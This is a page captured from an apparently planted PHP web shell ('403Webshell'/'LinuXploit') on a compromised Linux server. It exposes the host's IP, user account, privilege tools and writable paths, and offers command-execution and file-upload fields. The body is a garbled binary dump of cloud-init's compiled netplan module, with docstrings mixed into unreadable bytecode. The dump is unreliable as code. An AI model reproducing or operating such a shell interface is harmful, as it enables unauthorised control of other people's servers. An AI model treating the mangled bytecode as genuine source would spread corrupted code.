403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.113
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/net/__pycache__/netplan.cpython-310.pyc
o

쑛h�[�@s@ddlZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZddlm
Z
mZmZmZddlmZmZmZmZmZmZddlmZmZdZdZe�e�Zd	d
�Z de!de!d
e	fdd�Z"dd�Z#d$dd�Z$de%de&fdd�Z'de%fdd�Z(de%de%de&fdd�Z)de%de%fdd�Z*Gd d!�d!ej+�Z+d"d#�Z,dS)%�N)�SpooledTemporaryFile)�Callable�List�Optional)�features�safeyaml�subp�util)�IPV6_DYNAMIC_TYPES�
SYS_CLASS_NET�get_devicelist�renderer�should_add_gateway_onlink_flag�subnet_is_ipv6)�NET_CONFIG_TO_V2�NetworkStatez/etc/netplan/50-cloud-init.yamls4# This is the initial network config.
# It can be overwritten by cloud-init or console-conf.
network:
    version: 2
    ethernets:
        all-en:
            match:
                name: "en*"
            dhcp4: true
        all-eth:
            match:
                name: "eth*"
            dhcp4: true
cst�fdd�|��D��S)Nc3s&�|]\}}|���r||fVqdS�N)�
startswith)�.0�key�value��match��7/usr/lib/python3/dist-packages/cloudinit/net/netplan.py�	<genexpr>-s��
�z,_get_params_dict_by_match.<locals>.<genexpr>)�dict�items)�configrrrr�_get_params_dict_by_match,s�rr�entryrcCs�d&dd�}g}g}g}g}|�dg�}	|	durg}	|	D�]}
|
�d�}|
�d�}|�d�rW|dkr5|d	7}|�|d
i�|durV|�d�}
|�|
i�}||d<|�|
|i�q|tvrx|�d
d
i�|durw|�di�}||d<|�d|i�q|dv�r5d|
�d�}d|
vr�|d|
�d�7}|
�d�r�|
�d�dd�}t|
d|�r�t�d|
d|�d
|d<|dur�||d<|�|�d|
vr�|||
�dg��7}d|
vr�|||
�dg��7}d|
vr�d}t|
�r�d|�vr�d}|�||
�d�i�|
�dg�D]3}d|�d�|�d�f}|�d�|d�}|�d�}|du�r!||d<n	|du�r*||d<|�|�q�|�|�qd|v�r[|�d�}|�rU|d|k�rUt�	d ||d|�n|d|d<t
|�d!k�ri|�d"|i�t
|�d!k�rw|�d|i�t
|�d!k�r�d"|i}|�d#|i�t
|�d!k�r�|�d#i�}|�d$|i�|�d#|i�d%|v�r�|d%du�r�|�d%t�|�d%��i�dSdSdS)'a�This method parse a cloudinit.net.network_state dictionary (config) and
       maps netstate keys/values into a dictionary (entry) to represent
       netplan yaml. (config v1 -> netplan)

    An example config dictionary might look like:

    {'mac_address': '52:54:00:12:34:00',
     'name': 'interface0',
     'subnets': [
        {'address': '192.168.1.2/24',
         'mtu': 1501,
         'type': 'static'},
        {'address': '2001:4800:78ff:1b:be76:4eff:fe06:1000",
         'mtu': 1480,
         'netmask': 64,
         'type': 'static'}],
      'type: physical',
      'accept-ra': 'true'
    }

    An entry dictionary looks like:

    {'set-name': 'interface0',
     'match': {'macaddress': '52:54:00:12:34:00'},
     'mtu': 1501}

    After modification returns

    {'set-name': 'interface0',
     'match': {'macaddress': '52:54:00:12:34:00'},
     'mtu': 1501,
     'address': ['192.168.1.2/24', '2001:4800:78ff:1b:be76:4eff:fe06:1000"],
     'ipv6-mtu': 1480}

    � cSs*|rt|t�s	|S||vr|�|�S|gS)zT
        Helper to convert strings to list of strings, handle single string
        )�
isinstance�str�split)�obj�tokenrrr�_listifyYs
�z$_extract_addresses.<locals>._listify�subnetsN�type�metric�dhcp�4Tz
-overrideszroute-metric�dhcp6zdhcp6-overrides)�static�static6z%s�address�prefixz/%d�gateway�default)�via�tozAGateway %s is not contained within subnet %s, adding on-link flagzon-link�dns_nameservers�
dns_search�mtuzipv6-mtu�routesz%s/%s�networkzZNetwork config: ignoring %s device-level mtu:%s because ipv4 subnet-level mtu:%s provided.r�	addresses�nameservers�searchz	accept-ra)r!)
�getr�updater
r�LOG�debug�appendr�warning�lenr	�is_true)rr �ifnamerr'r;r9r<�
searchdomainsr(�subnet�sn_type�	sn_metric�dhcp_override_key�
dhcp_override�addr�	new_route�mtukey�route�to_net�route_metric�	entry_mtu�nsrrr�_extract_addresses4s�
%





��

��
�




�

��rUcs<t�fdd�|��D��}t|�dkr|�d|i�dSdS)Ncs$g|]\}}|�dd��kr|�qS)zbond-masterN)r>)r�name�cfg��bond_masterrr�
<listcomp>�s
�z0_extract_bond_slaves_by_name.<locals>.<listcomp>r�
interfaces)�sortedrrDr?)r[r rY�bond_slave_namesrrXr�_extract_bond_slaves_by_name�s
���r^cs~t��d�}tj�|�sdSt�|�}|tkrdS�fdd�dD�}dd�|D�}t�	d||�|g|D]}t�
|�q5dS)Nz etc/netplan/00-snapd-config.yamlcsg|]}t��|��qSr)r�target_path�r�f��targetrrrZ�s
��z"_clean_default.<locals>.<listcomp>)z-run/systemd/network/10-netplan-all-en.networkz.run/systemd/network/10-netplan-all-eth.networkz#run/systemd/generator/netplan.stampcSsg|]
}tj�|�r|�qSr)�os�path�isfiler`rrrrZ�sz9removing known config '%s' and derived existing files: %s)rr_rdrerfr	�load_binary_file�KNOWN_SNAPD_CONFIGr@rA�unlink)rc�tpath�content�derived�existingrarrbr�_clean_default�s$

���rn�net_config_content�returnc
Cs
zddlm}ddlm}Wntyt�dt�YdSwt|�}z@t	dd��1}|�
|�|��|�dt
j�|�}|�|�|�}|�|�|�tj�t��Wd�n1s]wYWnty}}zt�d	t|�WYd}~dSd}~wwt�d
�dS)adUse netplan.State._write_yaml_file to write netplan config

    Where netplan python API exists, prefer to use of the private
    _write_yaml_file to ensure proper permissions and file locations
    are chosen by the netplan python bindings in the environment.

    By calling the netplan API, allow netplan versions to change behavior
    related to file permissions and treatment of sensitive configuration
    under the API call to _write_yaml_file.

    In future netplan releases, security-sensitive config may be written to
    separate file or directory paths than world-readable configuration parts.
    r)�Parser)�Statez.No netplan python module. Fallback to write %sF�w��modeNzUUnable to render network config using netplan python module. Fallback to write %s. %sz0Rendered netplan config using netplan python APIT)�netplan.parserrq�
netplan.staterr�ImportErrorr@rA�CLOUDINIT_NETPLAN_FILE�_maybe_strip_invalid_mtur�write�flush�seek�io�SEEK_SET�	load_yaml�import_parser_results�_write_yaml_filerdre�basename�	ExceptionrC)rorqrrra�parser�state_output_file�errr�netplan_api_write_yaml_file�sH��



������
r�cCstjr
tjdd|tjd�}|S)aStrip invalid MTU from the netplan config.

    This is a fix for https://github.com/canonical/cloud-init/issues/6239
    A 0 MTU value is NOT valid, but cloud-init accepted it prior to 24.2,
    so rejecting it after c465de8 is a breaking change for existing releases.
    z^\s*mtu:\s*0\s*\n�)�flags)r�STRIP_INVALID_MTU�re�sub�	MULTILINE)rorrrrz+s�rz�cfg_filerkcCs.tj�|�sdSt�t�|��}|t�|�kS)z<Return True when new netplan config has changed vs previous.T)rdre�existsr	r��load_text_file)r�rk�	prior_cfgrrr�has_netplan_config_changedBsr�cCsHtjrdnd}tj�|�rt�|�}||@|kr|}tj|||d�dS)zDWrite netplan config to cfg_file because python API was unavailable.i�i�rtN)r�NETPLAN_CONFIG_ROOT_READ_ONLYrdrer�r	�get_permissions�
write_file)r�rkru�current_moderrr�fallback_write_netplan_yamlLs
r�c@s�eZdZdZddgZddgZddd�Zdeefd	d
�Z			dde
deeddfd
d�Z
dedefdd�Zddd�Zde
defdd�ZdS)�RendererzBRenders network information in a /etc/netplan/network.yaml format.�netplan�generate�infoNcCsT|si}|�dt�|_|�dd�|_|�dd�|_|�dd�|_|�d�p&g|_dS)N�netplan_path�netplan_header�postcmdsF�
clean_defaultTr)r>ryr�r��	_postcmdsr��	_features)�selfrrrr�__init__]szRenderer.__init__rpc
Cs�|jsEztj|jdd�\}}t�|�}|dd|_W|jStjy)Y|jSttfyD}zt�	d|�WYd}~|jSd}~ww|jS)NT��capturez
netplan.iorz-Failed to list features from netplan info: %s)
r�r�NETPLAN_INFOr	r��ProcessExecutionError�	TypeError�KeyErrorr@rA)r��	info_blob�_errr�r�rrrrfs
����zRenderer.features�
network_state�	templatescCs�tj�t�|�|j�}t�tj�|��|�	|�}|j
r|j
nd}|�d�s*|d7}||}t||�}t
|�s<t||�|jrDt|d�|j|j|d�|j|jd�dS)Nr��
rb)�run�config_changed)r�)rdre�joinrr_r�r	�
ensure_dir�dirname�_render_contentr��endswithr�r�r�r�rn�_netplan_generater��_net_setup_link)r�r�r�rc�fpnplanrk�header�netplan_config_changedrrr�render_network_statets 	




�zRenderer.render_network_stater�r�cCs8|s	t�d�dS|st�d�dStj|jdd�dS)Nz"netplan generate postcmds disabledzEskipping call to `netplan generate`. reason: identical netplan configTr�)r@rAr�NETPLAN_GENERATE)r�r�r�rrrr��s
�zRenderer._netplan_generateFcCs�|s	t�d�dSdt��vrt�d�dSgd�}td�D]5}zt�D]}tj�t	|�r:t
j
|t	|gdd�q$WdSt
jyS}z|}WYd}~qd}~wwtd	�|�)
z�To ensure device link properties are applied, we poke
        udev to re-evaluate networkd .link files and call
        the setup_link udev builtin command
        z'netplan net_setup_link postcmd disabledNz
net.ifnames=0z%Predictable interface names disabled.)�udevadmztest-builtin�net_setup_link�Tr�zQ'udevadm test-builtin net_setup_link' unable to run successfully for all devices.)
r@rAr	�get_cmdline�rangerrdre�islinkrrr��RuntimeError)r�r��	setup_lnk�_�ifacer��last_exceptionrrrr��s2


������zRenderer._net_setup_linkc+	CsZ|jdkrt�d�tjd|jiddd�Si}i}i}i}i}g}|j�dg�}|j}	|j	}
|�
�D�]�}|�d�}ttdd	�|�
���}
|
�d
�}|dkr�||
�dd�d
�}d|
vra|
d|d<|ddur�|
�dd�}|durzd|��i|d<n|d=|d=t|
|||j�|�||i�q2|dkr�i}i}td}dD]%}t|
|�}|�
�D]\}}|�|�dd��}|dur�q�|�||i�q�q�t|�dkr�|�d|i�|
�d�r�|
d��|d<|
�d�}|dkr�t|||�t|
|||j�|�||i�q2|dk�r�|
�d�}|du�rt�dd|�d��q2tt�|��}d|i}d }t|
|�}i}td} |�
�D]8\}}| �|�}|du�rC�q3|�||i�|d!v�rji}!|D]}"|"��\}#}$t|$�|!|#<�qS|�||!i��q3t|�dk�rz|�d|i�|
�d��r�|
d��|d<t|
|||j�|�||i�q2|d"k�r�|
�d#�|
�d$�d%�}%|
�dd�}|du�r�|��|%d<t|
|%||j�|�||%i�q2|	�s�|
�r�|	|
d&�}&|||||fD] }'|'�
�D]\}(})d'|)v�s�d(|)v�r�q�|)�d'|&i��q�q�d)d*�}*|�d+�||*d,|�7}||*d-|�7}||*d.|�7}||*d/|�7}||*d0|�7}d1�|�S)2N�zV2 to V2 passthroughr:F)�explicit_start�explicit_endr[rVcSs|dduS)N�r)�itrrr�<lambda>�sz*Renderer._render_content.<locals>.<lambda>r)�physicalr)�set-namer�keep_configuration�critical�mac_address�
macaddressr��bond)�bond_zbond-r��-r�
parameterszbond-slaves�none�bridge�bridge_portszInvalid config. The keyz'bridge_ports' is required in �.�bridge_)z	path-costz
port-priority�vlan�vlan_idzvlan-raw-device)�id�link)r;r=r<r;cSs0|rtj||idddd�}t�|d�}|gSgS)NFT)r�r��noaliasz    )r�dumps�textwrap�indent)rV�section�dump�txtrrr�_render_sectionNs�z1Renderer._render_content.<locals>._render_sectionznetwork:
    version: 2
�	ethernets�wifis�bonds�bridges�vlansr�)�versionr@rArr�r�_network_stater>r6�dns_searchdomains�iter_interfacesr�filterr�lowerrUrr?rr�replacerDr^rCr\�copyr$�intrBr�)+r�r�r�r�r�r�r�rkr[r<rGrrF�ifcfg�if_type�eth�macaddrr��bond_config�v2_bond_mapr�bond_params�paramr�newname�slave_interfacesr��portsr��match_prefix�params�	br_config�
v2_bridge_map�newvalue�val�port�portvalr��nscfgr��_namerWr�rrrr��s�

�


�
�





��



�
�
�
�

zRenderer._render_contentr)NN)F)�__name__�
__module__�__qualname__�__doc__r�r�r�rr#rrrrr��boolr�r�r�rrrrr�Ws$
	���
�!
!r�cCs0dg}ddg}|D]}tj||d�sdSq	dS)Nr�z	/usr/sbinz/sbin)r=FT)r�which)�expectedr=�prrr�	availableds�rr)-r�r~�loggingrdr�r��tempfiler�typingrrr�	cloudinitrrrr	�
cloudinit.netr
rrr
rr�cloudinit.net.network_staterrryrh�	getLoggerr
r@rrrUr^rnr#rr�rzr�r�r�rrrrr�<module>s6 

5


Youez - 2016 - github.com/yon3zu
LinuXploit